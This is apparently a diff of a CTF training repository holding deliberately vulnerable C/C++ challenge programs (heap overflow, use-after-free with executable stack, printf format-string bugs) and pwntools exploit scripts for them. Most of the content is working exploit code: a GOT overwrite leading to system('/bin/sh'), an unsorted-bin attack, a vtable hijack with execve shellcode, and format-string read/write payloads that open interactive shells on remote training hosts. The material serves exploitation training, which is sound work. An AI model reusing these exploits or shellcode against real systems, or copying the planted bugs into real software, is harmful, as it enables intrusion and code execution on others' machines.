||||||
|
free_got = 0x602018
|
||||||
|
create(0x18,"dada") # 0
|
||||||
|
create(0x10,"ddaa") # 1
|
||||||
|
edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")
|
||||||
|
delete(1)
|
||||||
|
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got)) #1
|
||||||
|
show(1)
|
||||||
|
r.recvuntil("Content : ")
|
||||||
|
data = r.recvuntil("Done !")
|
||||||
|
|
||||||
|
free_addr = u64(data.split("\n")[0].ljust(8,"\x00"))
|
||||||
|
libc = free_addr - 0x83940
|
||||||
|
print "libc:",hex(libc)
|
||||||
|
system = libc + 0x45390
|
||||||
|
edit(1,p64(system))
|
||||||
|
delete(0)
|
||||||
|
r.interactive()
|
|
@ -0,0 +1,2 @@
|
||||||
|
magicheap:magicheap.c
|
||||||
|
gcc magicheap.c -o magicheap
|
Binary file not shown.
|
@ -0,0 +1,134 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void read_input(char *buf,size_t size){
|
||||||
|
int ret ;
|
||||||
|
ret = read(0,buf,size);
|
||||||
|
if(ret <=0){
|
||||||
|
puts("Error");
|
||||||
|
_exit(-1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
char *heaparray[10];
|
||||||
|
unsigned long int magic = 0 ;
|
||||||
|
|
||||||
|
void menu(){
|
||||||
|
puts("--------------------------------");
|
||||||
|
puts(" Magic Heap Creator ");
|
||||||
|
puts("--------------------------------");
|
||||||
|
puts(" 1. Create a Heap ");
|
||||||
|
puts(" 2. Edit a Heap ");
|
||||||
|
puts(" 3. Delete a Heap ");
|
||||||
|
puts(" 4. Exit ");
|
||||||
|
puts("--------------------------------");
|
||||||
|
printf("Your choice :");
|
||||||
|
}
|
||||||
|
|
||||||
|
void create_heap(){
|
||||||
|
int i ;
|
||||||
|
char buf[8];
|
||||||
|
size_t size = 0;
|
||||||
|
for(i = 0 ; i < 10 ; i++){
|
||||||
|
if(!heaparray[i]){
|
||||||
|
printf("Size of Heap : ");
|
||||||
|
read(0,buf,8);
|
||||||
|
size = atoi(buf);
|
||||||
|
heaparray[i] = (char *)malloc(size);
|
||||||
|
if(!heaparray[i]){
|
||||||
|
puts("Allocate Error");
|
||||||
|
exit(2);
|
||||||
|
}
|
||||||
|
printf("Content of heap:");
|
||||||
|
read_input(heaparray[i],size);
|
||||||
|
puts("SuccessFul");
|
||||||
|
break ;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void edit_heap(){
|
||||||
|
int idx ;
|
||||||
|
char buf[4];
|
||||||
|
size_t size ;
|
||||||
|
printf("Index :");
|
||||||
|
read(0,buf,4);
|
||||||
|
idx = atoi(buf);
|
||||||
|
if(idx < 0 || idx >= 10){
|
||||||
|
puts("Out of bound!");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
if(heaparray[idx]){
|
||||||
|
printf("Size of Heap : ");
|
||||||
|
read(0,buf,8);
|
||||||
|
size = atoi(buf);
|
||||||
|
printf("Content of heap : ");
|
||||||
|
read_input(heaparray[idx] ,size);
|
||||||
|
puts("Done !");
|
||||||
|
}else{
|
||||||
|
puts("No such heap !");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void delete_heap(){
|
||||||
|
int idx ;
|
||||||
|
char buf[4];
|
||||||
|
printf("Index :");
|
||||||
|
read(0,buf,4);
|
||||||
|
idx = atoi(buf);
|
||||||
|
if(idx < 0 || idx >= 10){
|
||||||
|
puts("Out of bound!");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
if(heaparray[idx]){
|
||||||
|
free(heaparray[idx]);
|
||||||
|
heaparray[idx] = NULL ;
|
||||||
|
puts("Done !");
|
||||||
|
}else{
|
||||||
|
puts("No such heap !");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void l33t(){
|
||||||
|
system("cat /home/magicheap/flag");
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
char buf[8];
|
||||||
|
setvbuf(stdout,0,2,0);
|
||||||
|
setvbuf(stdin,0,2,0);
|
||||||
|
while(1){
|
||||||
|
menu();
|
||||||
|
read(0,buf,8);
|
||||||
|
switch(atoi(buf)){
|
||||||
|
case 1 :
|
||||||
|
create_heap();
|
||||||
|
break ;
|
||||||
|
case 2 :
|
||||||
|
edit_heap();
|
||||||
|
break ;
|
||||||
|
case 3 :
|
||||||
|
delete_heap();
|
||||||
|
break ;
|
||||||
|
case 4 :
|
||||||
|
exit(0);
|
||||||
|
break ;
|
||||||
|
case 4869 :
|
||||||
|
if(magic > 4869){
|
||||||
|
puts("Congrt !");
|
||||||
|
l33t();
|
||||||
|
}else
|
||||||
|
puts("So sad !");
|
||||||
|
break ;
|
||||||
|
default :
|
||||||
|
puts("Invalid Choice");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return 0 ;
|
||||||
|
}
|
|
@ -0,0 +1,51 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
host = "training.pwnable.tw"
|
||||||
|
port = 11014
|
||||||
|
|
||||||
|
r = remote(host,port)
|
||||||
|
|
||||||
|
|
||||||
|
def create_heap(size,content):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("1")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(size))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(content)
|
||||||
|
|
||||||
|
def edit_heap(idx,size,content):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("2")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(size))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(content)
|
||||||
|
|
||||||
|
def del_heap(idx):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("3")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
|
||||||
|
create_heap(0x80,"dada") # 0
|
||||||
|
create_heap(0x20,"dada") # 1
|
||||||
|
create_heap(0x80,"dada") # 2
|
||||||
|
create_heap(0x20,"dada") # 3
|
||||||
|
|
||||||
|
del_heap(2)
|
||||||
|
del_heap(0)
|
||||||
|
magic = 0x6020c0
|
||||||
|
fd = 0
|
||||||
|
bk = magic - 0x10
|
||||||
|
|
||||||
|
edit_heap(1,0x20+0x20,"a"*0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
|
||||||
|
create_heap(0x80,"dada") #trigger unsorted bin attack
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("4869")
|
||||||
|
r.interactive()
|
||||||
|
|
|
@ -0,0 +1,2 @@
|
||||||
|
zoo:zoo.cpp
|
||||||
|
g++ -z execstack zoo.cpp -o zoo
|
Binary file not shown.
|
@ -0,0 +1,185 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <string.h>
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
char nameofzoo[100];
|
||||||
|
|
||||||
|
class Animal {
|
||||||
|
public :
|
||||||
|
Animal(){
|
||||||
|
memset(name,0,24);
|
||||||
|
weight = 0;
|
||||||
|
}
|
||||||
|
virtual void speak(){;}
|
||||||
|
virtual void info(){;}
|
||||||
|
protected :
|
||||||
|
char name[24];
|
||||||
|
int weight;
|
||||||
|
};
|
||||||
|
|
||||||
|
class Dog : public Animal{
|
||||||
|
public :
|
||||||
|
Dog(string str,int w){
|
||||||
|
strcpy(name,str.c_str());
|
||||||
|
weight = w ;
|
||||||
|
}
|
||||||
|
virtual void speak(){
|
||||||
|
cout << "Wow ~ Wow ~ Wow ~" << endl ;
|
||||||
|
}
|
||||||
|
virtual void info(){
|
||||||
|
cout << "|---------------------|" << endl ;
|
||||||
|
cout << "| Animal info |" << endl;
|
||||||
|
cout << "|---------------------|" << endl;
|
||||||
|
cout << " Weight :" << this->weight << endl ;
|
||||||
|
cout << " Name : " << this->name << endl ;
|
||||||
|
cout << "|---------------------|" << endl;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
class Cat : public Animal{
|
||||||
|
public :
|
||||||
|
Cat(string str,int w){
|
||||||
|
strcpy(name,str.c_str());
|
||||||
|
weight = w ;
|
||||||
|
}
|
||||||
|
virtual void speak(){
|
||||||
|
cout << "Meow ~ Meow ~ Meow ~" << endl ;
|
||||||
|
}
|
||||||
|
virtual void info(){
|
||||||
|
cout << "|---------------------|" << endl ;
|
||||||
|
cout << "| Animal info |" << endl;
|
||||||
|
cout << "|---------------------|" << endl;
|
||||||
|
cout << " Weight :" << this->weight << endl ;
|
||||||
|
cout << " Name : " << this->name << endl ;
|
||||||
|
cout << "|---------------------|" << endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
vector<Animal *> animallist ;
|
||||||
|
|
||||||
|
void menu(){
|
||||||
|
cout << "*********************************" << endl ;
|
||||||
|
cout << " 1. Add a dog " << endl ;
|
||||||
|
cout << " 2. Add a cat " << endl ;
|
||||||
|
cout << " 3. Listen a animal " << endl ;
|
||||||
|
cout << " 4. Show a animal info " << endl ;
|
||||||
|
cout << " 5. Remove a animal " << endl ;
|
||||||
|
cout << " 6. Exit " << endl ;
|
||||||
|
cout << "*********************************" << endl ;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void adddog(){
|
||||||
|
string name ;
|
||||||
|
int weight ;
|
||||||
|
cout << "Name : " ;
|
||||||
|
cin >> name;
|
||||||
|
cout << "Weight : " ;
|
||||||
|
cin >> weight ;
|
||||||
|
Dog *mydog = new Dog(name,weight);
|
||||||
|
animallist.push_back(mydog);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void addcat(){
|
||||||
|
string name ;
|
||||||
|
int weight ;
|
||||||
|
cout << "Name : " ;
|
||||||
|
cin >> name;
|
||||||
|
cout << "Weight : " ;
|
||||||
|
cin >> weight ;
|
||||||
|
Cat *mycat = new Cat(name,weight);
|
||||||
|
animallist.push_back(mycat);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void remove(){
|
||||||
|
unsigned int idx ;
|
||||||
|
if(animallist.size() == 0){
|
||||||
|
cout << "no any animal!" << endl ;
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
cout << "index of animal : ";
|
||||||
|
cin >> idx ;
|
||||||
|
if(idx >= animallist.size()){
|
||||||
|
cout << "out of bound !" << endl;
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
delete animallist[idx];
|
||||||
|
animallist.erase(animallist.begin()+idx);
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void showinfo(){
|
||||||
|
unsigned int idx ;
|
||||||
|
if(animallist.size() == 0){
|
||||||
|
cout << "no any animal!" << endl ;
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
cout << "index of animal : ";
|
||||||
|
cin >> idx ;
|
||||||
|
if(idx >= animallist.size()){
|
||||||
|
cout << "out of bound !" << endl;
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
animallist[idx]->info();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void listen(){
|
||||||
|
unsigned int idx ;
|
||||||
|
if(animallist.size() == 0){
|
||||||
|
cout << "no any animal!" << endl ;
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
cout << "index of animal : ";
|
||||||
|
cin >> idx ;
|
||||||
|
if(idx >= animallist.size()){
|
||||||
|
cout << "out of bound !" << endl;
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
animallist[idx]->speak();
|
||||||
|
|
||||||
|
}
|
||||||
|
int main(void){
|
||||||
|
unsigned int choice ;
|
||||||
|
setvbuf(stdout,0,2,0);
|
||||||
|
setvbuf(stdin,0,2,0);
|
||||||
|
cout << "Name of Your zoo :" ;
|
||||||
|
read(0,nameofzoo,100);
|
||||||
|
while(1){
|
||||||
|
menu();
|
||||||
|
cout << "Your choice :";
|
||||||
|
cin >> choice ;
|
||||||
|
cout << endl ;
|
||||||
|
switch(choice){
|
||||||
|
case 1 :
|
||||||
|
adddog();
|
||||||
|
break ;
|
||||||
|
case 2 :
|
||||||
|
addcat();
|
||||||
|
break ;
|
||||||
|
case 3 :
|
||||||
|
listen();
|
||||||
|
break ;
|
||||||
|
case 4 :
|
||||||
|
showinfo();
|
||||||
|
break ;
|
||||||
|
case 5 :
|
||||||
|
remove();
|
||||||
|
break ;
|
||||||
|
case 6 :
|
||||||
|
_exit(0);
|
||||||
|
default :
|
||||||
|
cout << "Invaild choice" << endl;
|
||||||
|
break ;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0 ;
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,41 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
host = "training.angelboy.tw"
|
||||||
|
port = 11015
|
||||||
|
context.arch = "amd64"
|
||||||
|
r = remote(host,port)
|
||||||
|
|
||||||
|
|
||||||
|
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
|
||||||
|
|
||||||
|
def add_dog(name,weight):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("1")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(name)
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(weight))
|
||||||
|
|
||||||
|
def remove_ani(idx):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("5")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
|
||||||
|
|
||||||
|
name = 0x605420
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("a"*8 + p64(name+8) + sc)
|
||||||
|
add_dog("a"*8,0)
|
||||||
|
add_dog("b"*8,1)
|
||||||
|
remove_ani(0)
|
||||||
|
vptr = name + 8
|
||||||
|
add_dog("a"*72 + p64(vptr),2)
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("3")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("0")
|
||||||
|
|
||||||
|
r.interactive()
|
|
@ -0,0 +1,2 @@
|
||||||
|
crack:crack.c
|
||||||
|
gcc -m32 crack.c -o crack
|
Binary file not shown.
|
@ -0,0 +1,29 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
unsigned int password ;
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
|
||||||
|
setvbuf(stdout,0,2,0);
|
||||||
|
char buf[100];
|
||||||
|
char input[16];
|
||||||
|
int fd ;
|
||||||
|
srand(time(NULL));
|
||||||
|
fd = open("/dev/urandom",0);
|
||||||
|
read(fd,&password,4);
|
||||||
|
printf("What your name ? ");
|
||||||
|
read(0,buf,99);
|
||||||
|
printf("Hello ,");
|
||||||
|
printf(buf);
|
||||||
|
printf("Your password :");
|
||||||
|
read(0,input,15);
|
||||||
|
if(atoi(input) != password){
|
||||||
|
puts("Goodbyte");
|
||||||
|
}else{
|
||||||
|
puts("Congrt!!");
|
||||||
|
system("cat /home/crack/flag");
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,21 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
|
||||||
|
host = "training.pwnable.tw"
|
||||||
|
port = 11007
|
||||||
|
|
||||||
|
r = remote(host,port)
|
||||||
|
|
||||||
|
password_addr = 0x804a048
|
||||||
|
r.recvuntil("?")
|
||||||
|
|
||||||
|
|
||||||
|
r.sendline(p32(password_addr) + "#" + "%10$s" + "#" )
|
||||||
|
r.recvuntil("#")
|
||||||
|
p = r.recvuntil("#")
|
||||||
|
password = u32(p[:4])
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(password))
|
||||||
|
r.interactive()
|
|
@ -0,0 +1,2 @@
|
||||||
|
craxme:craxme.c
|
||||||
|
gcc -m32 craxme.c -o craxme
|
Binary file not shown.
|
@ -0,0 +1,20 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int magic = 0 ;
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
char buf[0x100];
|
||||||
|
setvbuf(stdout,0,2,0);
|
||||||
|
puts("Please crax me !");
|
||||||
|
printf("Give me magic :");
|
||||||
|
read(0,buf,0x100);
|
||||||
|
printf(buf);
|
||||||
|
if(magic == 0xda){
|
||||||
|
system("cat /home/craxme/flag");
|
||||||
|
}else if(magic == 0xfaceb00c){
|
||||||
|
system("cat /home/craxme/craxflag");
|
||||||
|
}else{
|
||||||
|
puts("You need be a phd");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,41 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwnpwnpwn import *
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
#host = "10.211.55.28"
|
||||||
|
#port = 8888
|
||||||
|
host = "training.angelboy.tw"
|
||||||
|
port = 11008
|
||||||
|
|
||||||
|
|
||||||
|
r = remote(host,port)
|
||||||
|
|
||||||
|
def fmt(prev,word,index):
|
||||||
|
if prev < word :
|
||||||
|
result = word - prev
|
||||||
|
fmtstr = "%" + str(result) + "c"
|
||||||
|
elif prev == word :
|
||||||
|
result = 0
|
||||||
|
else :
|
||||||
|
result = 256 - prev + word
|
||||||
|
fmtstr = "%" + str(result) + "c"
|
||||||
|
fmtstr += "%" + str(index) + "$hhn"
|
||||||
|
return fmtstr
|
||||||
|
|
||||||
|
magic = 0x804a038
|
||||||
|
payload = p32(magic)
|
||||||
|
payload += p32(magic+1)
|
||||||
|
payload += p32(magic+2)
|
||||||
|
payload += p32(magic+3)
|
||||||
|
targat = 0xfaceb00c
|
||||||
|
|
||||||
|
prev = 4*4
|
||||||
|
for i in range(4):
|
||||||
|
payload += fmt(prev,(targat >> 8*i) & 0xff,7+i)
|
||||||
|
prev = (targat >> 8*i) & 0xff
|
||||||
|
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(payload)
|
||||||
|
|
||||||
|
r.interactive()
|
|
@ -0,0 +1,34 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
|
||||||
|
host = "training.pwnable.tw"
|
||||||
|
port = 11008
|
||||||
|
|
||||||
|
r = remote(host,port)
|
||||||
|
printf_got = 0x804a010
|
||||||
|
puts_got = 0x804a018
|
||||||
|
system_plt = 0x8048410
|
||||||
|
target = 0x0804859b
|
||||||
|
payload = p32(puts_got)
|
||||||
|
payload += p32(puts_got+1)
|
||||||
|
payload += p32(puts_got+2)
|
||||||
|
payload += p32(puts_got+3)
|
||||||
|
payload += p32(printf_got)
|
||||||
|
payload += p32(printf_got+1)
|
||||||
|
payload += p32(printf_got+2)
|
||||||
|
payload += p32(printf_got+3)
|
||||||
|
|
||||||
|
prev = 4*8
|
||||||
|
for i in range(4):
|
||||||
|
payload += fmtchar(prev,(target >> i*8) & 0xff,7+i)
|
||||||
|
prev = (target >> i*8) & 0xff
|
||||||
|
|
||||||
|
for i in range(4):
|
||||||
|
payload += fmtchar(prev,(system_plt >> i*8) & 0xff,11+i)
|
||||||
|
prev = (system_plt >> i*8) & 0xff
|
||||||
|
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(payload)
|
||||||
|
r.interactive()
|
|
@ -0,0 +1,2 @@
|
||||||
|
playfmt:playfmt.c
|
||||||
|
gcc -m32 playfmt.c -o playfmt
|
Binary file not shown.
|
@ -0,0 +1,29 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
char buf[200] ;
|
||||||
|
|
||||||
|
void do_fmt(){
|
||||||
|
while(1){
|
||||||
|
read(0,buf,200);
|
||||||
|
if(!strncmp(buf,"quit",4))
|
||||||
|
break;
|
||||||
|
printf(buf);
|
||||||
|
}
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
|
||||||
|
void play(){
|
||||||
|
puts("=====================");
|
||||||
|
puts(" Magic echo Server");
|
||||||
|
puts("=====================");
|
||||||
|
do_fmt();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
setvbuf(stdout,0,2,0);
|
||||||
|
play();
|
||||||
|
return;
|
||||||
|
}
|
Loading…
Reference in New Issue